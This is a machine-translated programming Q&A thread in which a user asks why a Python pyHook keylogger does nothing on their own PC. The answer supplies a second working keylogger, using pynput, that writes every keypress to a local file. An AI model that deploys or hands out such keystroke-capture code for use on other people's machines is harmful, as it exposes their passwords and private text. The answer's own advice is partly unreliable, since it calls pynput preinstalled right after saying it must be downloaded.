2017-03-27 6 views
-2

私はキーロガーを作成しようとしています。悪いことではなく、自分のPCで試してみたいが、動作しないpywin32とpyhookモジュールをインストールしたが、それでも動作しない。 https://youtu.be/8BiOPBsXh0gPython keylogger not working

私はここでのpython 2.7.13

を使用して、私のPythonコードです:

import pyHook, pythoncom, sys, logging 

file_log = 'C:/Users/jelle/Desktop/Keylogger/Keylog.txt' 

def onKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = onKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 
+0

定義*「動作しません」*、してください。 – SiHa

+0

私はそれを開いても何も起こらない、なぜ私はそれを理解しようとしているytからコードをコピーしている人なのかわからない。 SiHa –

+0

あなたのコードは私にとってはうまく機能します。 Win7(x64)Python 2.7,10(x32)ですが、ロガーのパスが存在しない場合は失敗します。コマンドプロンプトから実行しましたか? – SiHa

答えて

0

問題は、あなたのPythonのバージョンである私は、このチュートリアルを見ていました。 Pythonをアンインストールし、Pythonの最新バージョンをインストールします。これは、プログラムがまだ動作しない場合でも、最新バージョンをダウンロードした後、あなたがこれを試すことができます...

をあなたの問題を解決することがあります。

from pynput.keyboard import Key, Listener 
import logging 

log_dir = "" 

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

を上記のプログラムはpyHookや他のモジュールをダウンロードする必要はありません。以前のコードで使用しました。しかし、あなたは 'pynput'が必要になります。 hereからダウンロードしてインストールできます。

まだ問題が解決しない場合は、videoをご覧ください。

私はちょうどそれが理解しやすく、2つのモジュール(すでにプリインストールされているもの)を使用するので、私が投稿したこの新しいコードを使用することをお勧めします。